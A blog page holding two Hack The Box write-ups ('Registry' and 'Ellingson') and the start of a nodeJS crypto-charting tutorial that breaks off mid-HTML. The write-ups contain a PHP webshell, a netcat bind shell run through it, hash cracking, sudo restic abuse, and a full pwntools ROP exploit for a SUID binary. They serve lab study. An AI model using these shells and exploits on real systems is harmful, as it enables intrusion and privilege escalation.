root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/tags/list
{"name":"bolt-image","tags":["latest"]}

According to docker registry manual, we can pull the image manifest sending a GET request to /v2/<name>/manifests/<reference>, we then proceed to download each layer.

root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/manifests/latest > bolt-image_manifest
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100  7439  100  7439    0     0   207k      0 --:--:-- --:--:-- --:--:--  207k
root@kali:~/Desktop/htb/Registry# head bolt-image_manifest
{
"schemaVersion": 1,
"name": "bolt-image",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
},
{
[...snip...]

We can now fetch all blobs and form an image locally :

root@kali:~/Desktop/htb/Registry# cat blobs
sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7
sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
root@kali:~/Desktop/htb/Registry# mkdir bolt-image_blobs
root@kali:~/Desktop/htb/Registry# cd ./bolt-image_blobs/
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100   335  100   335    0     0   4718      0 --:--:-- --:--:-- --:--:--  4785
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1.tar.gz
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100   335  100   335    0     0   4407      0 --:--:-- --:--:-- --:--:--  4407
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# tar -xvf blob1.tar.gz
etc/
etc/profile.d/
etc/profile.d/01-ssh.sh
etc/profile.d/.wh.02-ssh.sh
root@kali:~/Desktop/htb/Registry/bolt-image_blobs#
[...snip...]

We have the full docker root file system of the container :

root@kali:~/Desktop/htb/Registry/bolt-image_blobs# ls -la
total 84
drwxr-xr-x 21 root root 4096 Feb 16 13:22 .
drwxr-xr-x  3 root root 4096 Feb 16 13:08 ..
drwxr-xr-x  2 root root 4096 Apr 24  2019 bin
drwxr-xr-x  2 root root 4096 Apr 24  2018 boot
drwxr-xr-x  4 root root 4096 Apr 24  2019 dev
drwxr-xr-x 48 root root 4096 Apr 24  2019 etc
drwxr-xr-x  2 root root 4096 Apr 24  2018 home
drwxr-xr-x  8 root root 4096 May 23  2017 lib
drwxr-xr-x  2 root root 4096 Apr 24  2019 lib64
drwxr-xr-x  2 root root 4096 Apr 24  2019 media
drwxr-xr-x  2 root root 4096 Apr 24  2019 mnt
drwxr-xr-x  2 root root 4096 Apr 24  2019 opt
drwxr-xr-x  2 root root 4096 Apr 24  2018 proc
drwx------  3 root root 4096 Apr 24  2019 root
drwxr-xr-x  7 root root 4096 Apr 26  2019 run
drwxr-xr-x  2 root root 4096 Apr 24  2019 sbin
drwxr-xr-x  2 root root 4096 Apr 24  2019 srv
drwxr-xr-x  2 root root 4096 Apr 24  2018 sys
drwxrwxrwt  2 root root 4096 Apr 24  2019 tmp
drwxr-xr-x 10 root root 4096 Apr 24  2019 usr
drwxr-xr-x 12 root root 4096 Apr 24  2019 var

We have a ssh private key /root/.ssh as well as the password for the key in /etc/profile.d/02-ssh.sh, we then proceed to login as bolt :

root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# ls -la
total 24
drwxr-xr-x 2 root root 4096 May 24  2019 .
drwx------ 3 root root 4096 Apr 24  2019 ..
-rw-r--r-- 1 root root   60 May 24  2019 config
-rw------- 1 root root 3326 May 24  2019 id_rsa
-rw-r--r-- 1 root root  743 May 24  2019 id_rsa.pub
-rw-r--r-- 1 root root  444 May 24  2019 known_hosts
root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# cat ../../etc/profile.d/02-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
root@kali:~/Desktop/htb/Registry# ssh -i id_rsa bolt@registry.htb
The authenticity of host 'registry.htb (10.10.10.159)' can't be established.
ECDSA key fingerprint is SHA256:G1J5ek/T6KuCCT7Xp2IN1LUslRt24mhmhKUo/kWWVrs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'registry.htb,10.10.10.159' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

System information as of Sun Feb 16 18:31:40 UTC 2020

System load:  0.02              Users logged in:                1
Usage of /:   6.1% of 61.80GB   IP address for eth0:            10.10.10.159
Memory usage: 33%               IP address for docker0:         172.17.0.1
Swap usage:   0%                IP address for br-1bad9bd75d17: 172.18.0.1
Processes:    168
Last login: Sun Feb 16 18:25:03 2020 from 10.10.15.99
bolt@bolt:~$

We find no interesting privilege escalation vector, we consider pivoting to www-data user since we still have that /backup.php file is readable by everyone but only executable by root user. In /var/www/bolt/app/database we find bolt.db that contains an encrypted password :

root@kali:~/Desktop/htb/Registry# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
strawberry       (admin)
1g 0:00:00:11 DONE (2020-02-16 13:50) 0.08525g/s 29.15p/s 29.15c/s 29.15C/s strawberry..ihateyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We proceed to login as an admin in the Bolt CMS, where we use the File Management Tool to upload our reverse php shell. We first modify the config.yml to enable us uploading php files.

However we can’t obtain a shell, we only have timeouts. In that case there is clearly a something blocking the setup of external connections, we can try uploading a backdoor instead and we gain access as www-data :

root@kali:~/Desktop/htb/Registry# cat oneliner.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
root@kali:~/Desktop/htb/Registry#

A problem we have however is that the our files keep getting deleted every minute in this directory. We simply create a new directory in /html/bolt/, set permission to 777, so we can edit it as bolt, and copy our webshell there.

An easier way to maintain an access to the box is to have a bind shell. We use nc in listener mode. Since there’s a firewall or an entity blocking outgoing connections, consequently blocking all our attempts at a reverse shell, we simply create a bind shell with nc. Fortunately we have it on the victim’s machine. We use our webshell to run netcat by making a GET request to :

http://registry.htb/bolt/mywayin/webshell.php?cmd=nc.traditional%20-lp%209999%20-e%20/bin/sh

In our attacker machine :

root@kali:~/Desktop/htb/Registry# nc 10.10.10.159 9999
whoami
www-data
python -c "import pty; pty.spawn('/bin/sh');"
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

To privesc, we find the a command that we can run as a privileged user with www-data :

$ sudo -l
sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*

It can’t be simpler than that, we can append an argument to this command :

$ sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt
sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt
/var/ntrkzgnkotaxyju0ntrinda4yzbkztgw does not exist, skipping
Fatal: all target directories/files do not exist

And we got the root flag! There were many things that were still not explored in this machine, such as the 2 other servers 172.17.0.1 and 172.18.0.1. Both of them ping back, but we did not put any effort to explore them. Obtaining root flag on this box was surprisingly simple, as it just required us to abuse a command as a privileged user.

However obtaining the root user is something different, we would have to setup our own repo with a script that opens a shell, and append an argument to the above command to make a backup at our repo, executing the malicious script.

To summarize, we found an exposed unsafe endpoint to a docker HTTP API with default credentials, that let us download a container which had an ssh key as well as credentials for the user. Exploring the box with this user we found a database file in Bolt CMS /app/database/ folder and found a encrypted password that we successfully cracked. In turn we got the credentials for the Bolt CMS as admin. From there we get a shell as www-data, however a firewall blocked outgoing connections so a simple bind shell let us execute code as www-data. This user had the power to execute a restic backup as root, and we abused this command to ex-filtrate the root.txt flag.

Thanks for reading!

CTF – HTB – Ellingson

Hello everyone and welcome to another HTB writeup. I did this machine a while ago but never had time post this, so here we go!

Let’s start with a basic nmap scan :

root@kali:~/Desktop/htb/Ellingson# nmap -sC -sV -o TCP_scan 10.10.10.139 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 12:10 EET
Nmap scan report for ellingson.htb (10.10.10.139)
Host is up (0.13s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://ellingson.htb/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.12 seconds

We explore a simple website and run a dirbuster scan that reveals nothing interesting, a hint in /articles/2 tells us that they implemented a protection against bruteforce attacks, so no need to go deeper this way. Let’s try /articles/99999 to see if we have something… And yes we get an error page!

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

[…snip…]

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

• dump( ) shows all variables in the frame

• dump(obj ) dumps all that’s known about the object

Looks like they are using WSGI, which is running with python, and someone forgot to turn off the debugger, sweet! We can execute commands in the debugger :

import os,subprocess;
val = subprocess.check_output("ls -la", shell=True);
print(val);

And here we already have our foothold in the machine, we simply append our public ssh key to the authorized_keys in hal /.ssh folder and we login as hal :

root@kali:~/Desktop/htb/Ellingson# ssh -i id_rsa hal@10.10.10.139
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic 086 64) 

* Documentation: https://help.ubuntu.com 
* Management: https://landscape.canonical.com 
* Support: https://ubuntu.com/advantage 

System information as of Sat Oct 11 12:16:33 UTC 2019 

System load: 0.0                 Processes: 98 
Usage of /: 23.6% of 19.56GB     Users logged in 0
Memory usage: 13%                IP address for ens33: 10.10.10.139
Swap usage: 0%

* Canonical Livepatch is available for installation. 
  - Reduce system reboots and improve kernel security. Activate at: 
    https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates.

Last login: Sun Mar 11 11:23:12 2019 from 192.168.1.211 
hal@ellingson:—$ 

We enumerate the machine a little bit and find shadow.bak in /var/backups :

hal@ellingson:/var/backups$ cat shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:/var/backups$

By using unshadowbinary, we combine the shadow.bak with /etc/passwd and proceed to crack it using john with rockyou.txt wordlist, which takes a while but still gets us credentials :

unshadow ./passwd ./shadow.back > hash
root@kali:~/Desktop/HTB/boxes/ellingson# john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
iamgod$08        (margo)
1g 0:01:22:03 DONE (2019-09-13 11:43) 0.3234g/s 341.5p/s 321.5c/s 341.5C/s zangief..elisha
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We find credentials for theplague user but fails to login. However we also have credentials for user margo and pivot as this user :

root@kali:~/Desktop/htb/Ellingson# ssh margo@10.10.10.139
margo@10.10.10.139s password:
\Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic x86 64)

* Documentation: https://help.ubuntu.com 
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sat Oct 17 10:12:34 UTC 2019
 
System load: 0.14               Processes: 103 
Usage of /: 21.5% of 19.56GB    Users logged in 1
Memory usage: 26%               IP address for ens33: 10.10.10.139
Swap usage: 0%

* Canonical Livepatch is available for installation. 
  - Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates. 

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Mar 11 21:11:38 2019 from 192.168.1.211
margo@ellingson:~$

With our new user we proceed to some simple enumeration and we find a weird SUID binary called garbage in /usr/bin/, which immediately reveals itself to be vulnerable to a buffer overflow :

margo@ellingson:~$ /usr/bin/garbage 
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.
Segmentation fault (core dumped)
margo@ellingson:~$

At this point we already know that this is the correct attack vector we will exploit to obtain root on this box. We download this binary with scp and analyze it locally to develop an exploit. We also verify if ASLR is enabled in this box, which is, and in Full Randomization mode :

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2

Simple checkup of security properties of this executable :

root@kali:~/Desktop/htb/Ellingson# file garbage
garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped
root@kali:~/Desktop/htb/Ellingson# checksec ./garbage
[*] '/root/Desktop/htb/Ellingson/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

We have NX enabled, which basically prevents us from executing code on the stack. We will have to work around the ASLR and NX to get our successful exploit.

In order to do that, we will use a technique called Return Oriented Programming (ROP). Simply put, it’s a technique similar to ret2libc but we will have to build a chain of called ‘gadgets’ that we will use to create our malicious code, which finality is to call system(‘/bin/sh’) to get our shell as root.

Let’s start by download the libc shared object from the victims to help us obtain offsets for later calculations :

root@kali:~/Desktop/htb/Ellingson# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 ./
margo@ellingson.htb's password:
libc.so.6                                                                                        100% 1983KB 211.3KB/s   00:08

We create a pattern to leak the address of libc and found it to be 136 bytes.

root@kali:~/Desktop/htb/Ellingson# /usr/share/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
[...snip...]
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb Ad7Ad8Ad9Ae
[*] Exact match at offset 136

We now know that we will send our first 136 bytes to get the address of ripregister and overwrite it with our first gadget.

By analysing the binary we also find a password, but it reveals to be useless when using it with the binary, we will still take note and keep it for later if we ever need it.

Let’s start coding our exploit with pwn tools :

#!/usr/bin/env python

from pwn import *
#import os
#import subprocess
#import struct

s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()

context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')

context(os='linux',arch='amd64')                                                                                                                                              
context.log_level = 'DEBUG'

password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17) #17 is size of password

We also need the addresses of the Procedural Linkage Table (PLT) and Global Offset Table (GOT) in the binary :

root@kali:~/Desktop/htb/Ellingson# objdump -D ./garbage | grep puts
#401050:       ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>

We look out for out first gadget which will be pop rdi; retand save this address… We continue analyzing the binary for the interesting addresses and we log them :

pop_rdi = p64(0x40179b) #pop rdi; ret

#0000000000401619 <main>:
main = p64(0x401619)

#readelf -s | grep func
#the commented code is the local libc.so.6

#libc_put = 0x71910
libc_put = 0x809c0

#libc_system = 0x449c0
libc_system = 0x4f440

#libc_setuid = 0xc7500
libc_setuid = 0xe5970

# strings -a -t x libc.so.6 | grep bin/sh
#string_binsh = 0x181519
string_binsh = 0x1b3e9a

We proceed to calculate the leaked address of puts :

payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)

p.recvline()
p.recvline() #we receive 2 outputs...
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))

With our leaked address, we calculate the offset we need to call our system functions :

libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)

sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)

log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))

All is left to do is to sum this up to generate our final payload :

payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys

p.sendline(payload)

p.interactive()

And by executing our python script we obtain shell as root! Here the complete exploit code I used :

#!/usr/bin/env python

from pwn import *

s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()

context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')

context(os='linux',arch='amd64')                                                                                                                                              
context.log_level = 'DEBUG'

password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17)
                                                                               
puts_plt = p64(0x401050)
puts_got = p64(0x404028)
pop_rdi = p64(0x40179b) #pop rdi; ret
null = p64(0x0)

main = p64(0x401619)
libc_put = 0x809c0
libc_system = 0x4f440
libc_setuid = 0xe5970
string_binsh = 0x1b3e9a

payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)

p.recvline()
p.recvline()
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))

libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)

sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)

log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))

payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys

p.sendline(payload)

p.interactive()

To summarize, we start by finding an RCE on the webserver that gives us our initial shell as hal, then find a backup of the shadow file that we use to crack the credentials for margo user. We then find an SUID binary that we exploit using a ROP chain.

As always, thanks for reading!

How-to : building your own crypto trading platform with nodeJS and Websockets

Hey everyone,

In this brief post I will show you how you can easily build your own trading platform so your clients, when connecting to your server, can see real time charts and data! For the data we are going to use the Bittrex API, so start of by creating your account and verifying it so you can have your API keys.

Note : this is not to be used in production mode, it is a simple demo about how to use websockets using nodeJS. Also note that this code is bricked in some parts, so you will have to do your own reading and work if you want to implement this correctly.

We are first going to setup our web server, with the httpmodule, expressto route our pages and pathsimply to access our assets when needed :

const http = require('http')
const express = require('express')
const path = require('path')

Since I want to be sure the server is up and running before anything else, we will write an async method that will boot up a minimal server, then we can proceed with the rest of the code :

async function initialize_server() {

  try {

      const app = express()
      const router = express.Router()

      var server_instance = http.createServer(app)
      server_instance.listen(8080)

      //prepare the GET response to return index.html
      router.get('/',function(req,res){
        res.sendFile(path.join(__dirname + '/index.html'))
      });

      //add the router to the express app
      app.use('/', router)

      app.use(express.static(__dirname + '/'))
      app.use(express.static(__dirname + '/assets/'))

      //return the promise of having a server instance
      return server_instance

    } catch (err) {
      console.log(err)
    }
}

Bittrex API version 1.1 requires you to use signalr-clientto fetch real-time data . Let’s start by installing the required nodeJS packages :

PS C:\Users\ialkas\Desktop\myapp> npm install signalr-client

[...]

+ signalr-client@0.0.20
added 1 package from 1 contributor and audited 1144 packages in 4.073s
found 0 vulnerabilities

PS C:\Users\ialkas\Desktop\myapp>

At this point, you will realize that Bittrex Websocket API is quite undocumented, you will have to look up for the websocket hubs by yourself since there is no available information on their API. Lets create our instance of signalr-client :

const signalR = require('signalr-client')
const zlib = require('zlib') //unzip messages
const crypto = require('crypto') //used for authentication challenge
const client = new signalR.client('wss://socket.bittrex.com/signalr', ['c2'])

To initialize a connection with the Bittrex server, we send an GetAuthContextmessage with our API key, upon receiving, the server will send us a challenge to solve with our secret key, then we authenticate with the the signed challenge.

You can subscribe to many endpoints as documented in the Bittrex API, but here we only need to subscribe to SubscribeToExchangeDeltas, where we can fetch live data about a single market, in our case it will be BTC-ETH.

We have to setup a callback function when receiving the data, which will be in JSON format. The method we will implement will be called on_ue_receive.

client.serviceHandlers.connected = function initialize_bittrex_websocket() {

    console.log('Initializing WebSocket connection with Bittrex API...')

    //send GetAuthContext message
    client.call('c2', 'GetAuthContext', api_key).done(function(err, challenge) {
       if (err) {
               console.log(err)
       }

        //resolve challenge
        const signed_challenge = crypto.createHmac('sha512', secret_key).update(challenge).digest('hex')

        //send Authenticate message
        client.call('c2', 'Authenticate', api_key, signed_challenge).done(function(auth_err, auth_result) {
            if (auth_err) {
                console.log('auth_ERROR', auth_err)
            }
            console.log('Authentication : ', auth_result)

            //subscribe to exchanges deltas...
        client.call('c2', 'SubscribeToExchangeDeltas', 'BTC-ETH').done(function(err, result) {
                if (err) {
                    return console.error(err)
                }
                if (result === true) {
                    //set callback function
                    client.on('c2', 'uE', on_ue_receive)
                }
            })

        })
    })
}

Now you already have a webserver running and a Websocket connection to the Bittrex API. What is next is what we do when receiving a callback for the data, which is base64 encoded. The expected JSON data will be in this format :

{
  "MarketName": "string",
  "Nonce": "int",
  "Buys": [
    {
      "Type": "int",
      "Rate": "decimal",
      "Quantity": "decimal"
    }
  ],
  "Sells": [
    {
      "Type": "int",
      "Rate": "decimal",
      "Quantity": "decimal"
    }
  ],
  "Fills": [
    {
      "FillId": "int",
      "OrderType": "string",
      "Rate": "decimal",
      "Quantity": "decimal",
      "TimeStamp": "date"
    }
  ]
}

However note that your received objects will be minified JSON data, so you will have to look at the minified JSON keys in the docs. Now we implement our callback :

//callback method that is execute on message receive
function on_ue_receive(message) {

    let raw = new Buffer.from(message, 'base64')
    zlib.inflateRaw(raw, function(err, inflated) {
        if (!err) {
            let obj = JSON.parse(inflated.toString('utf8'))
            if (obj.f) {
               console.log(obj);
            } 
        } else {
            console.log(err)
        }
    })
}

Sweet! Now you are already logging all the market data we receive. Next step is to use this data and create our own candlesticks.

How this will happen is simple, since we are not going to push all the data received from the Bittrex server to our clients, we are going to create a 1 minute timer (for 1 minute candles in this case) that will broadcast the data every minute to all our users.

We will define first the data we need in a candlestick in a simple structure. How we define a candle is quite simple, we compile all the data from filled orders every time frame (1min) and we define our OHLC data.

class candlestick {

  constructor() {

    var ms = 1000 * 60 *1
    var gmt_time = 5 * 60 * 60 * 1000 // hint : I am 5 hours away from GMT

    var latest_candle_time = new Date(Math.round(new Date().getTime() / ms) * ms + gmt_time)
    this.time = latest_candle_time

    this.year = latest_candle_time.getFullYear() //yyyy
    this.month = latest_candle_time.getMonth() + 1 //range between [1-12]
    this.day = latest_candle_time.getDate() //[1-31]
    this.hour = latest_candle_time.getHours() //[0-23]
    this.minutes = latest_candle_time.getMinutes() //[0-59]

    //if all values are 0, then client shows last candle as same...
    this.o = 0
    this.h = 0
    this.l = 0
    this.c = 0
    this.volume = 0

    this.fillArray = []
  }

  create_candle() {
    var num_fills = this.fillArray.length
    if (num_fills > 0) {
      this.o = this.fillArray[0].R //first order (open)
      this.h = this.fillArray[0].R
      this.l = this.fillArray[0].R
      this.c = this.fillArray[num_fills-1].R //last order (close)
    }

    for (var i = 0; i < num_fills; i++) {
      if (this.fillArray[i].R > this.h) {
        this.h = this.fillArray[i].R
      }
      if (this.fillArray[i].R < this.l) {
        this.l = this.fillArray[i].R
      }
      this.volume += this.fillArray[i].Q
    }
  }
  add_delta(delta) {
    
    var num_fills = delta.f.length
    for (var i = 0; i < num_fills; i++) {
      if (typeof delta.f[i] == "undefined") {} else {
        this.fillArray.push(delta.f[i])

      }
    }
  }
}

Now instead of logging the JSON objects received in our on_ue_receivemethod, we will implement a method that will merge all the data and reset the candle every 60 seconds :

var current_candlestick = new candlestick()
setInterval(function() {
  current_candlestick = new candlestick() //resets the candle stick
}, 60000);

function merge_deltas(delta) {
  current_candlestick.add_delta(delta)
}

Now we have candlesticks that hold all our filled trades informations and is reset every minute. Something you should do is to store the candles in a database, so you can retrieve the information when needed.

However I will not cover this part here, you can simply code an async function that pushes the candle data in the database before resetting it.

Next up is to communicate this data to our clients! We will simply use socket.io to set up this time our own Websocket service, so install the correct package and write the code to initialize the service.

Note here that I wrote this as an async function, point is that we will to initialize this after our http server is set up and what not other service you want to be running before broadcasting data. We also log the IP of users just for the sake of it :

const socketio = require('socket.io')
async function initialize_socketio(server_instance) {

  try {

    io = socketio(server_instance, {})

    //on client connection
    io.on('connection', function(socket) {

      //fetch user IP and log this in DB
      var client_ip_address = socket.request.connection.remoteAddress
      console.log('New connection from ' + client_ip_address + "...")

      //create a callback when user is disconnected
      socket.on('disconnect', function () {
        console.log("User with ip : " + client_ip_address + " disconnected...")
      });
    })

  } catch (err) {
    console.log(err)
  }
}

Now that the clients can create a persistent connection with our server, we can broadcast our data every minute before resetting the candle.

I also suggest you to minify the data that is sent, you can also encode it in base64 so you reduce your bandwith.

This will make a huge difference when you are going to have hundreds our thousands of clients with persistent connections :

io.emit("candlestick", candle_data_minified)

At this point what is left for our server is only to initialize everything, sequentially!

initialize_server()
  .then(server_instance => {
    initialize_socketio(server_instance)
})
node myapp.js

Now that we have our server up and running, let’s code the client side html page. We are going to use PlotlyJS so we can quickly create a chart and update it with our data.

You can use react components also, but here I will stick with only PlotlyJS for simplicity. So include the required JS in your html page and create a candlestick plot.

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>My charting app</title>

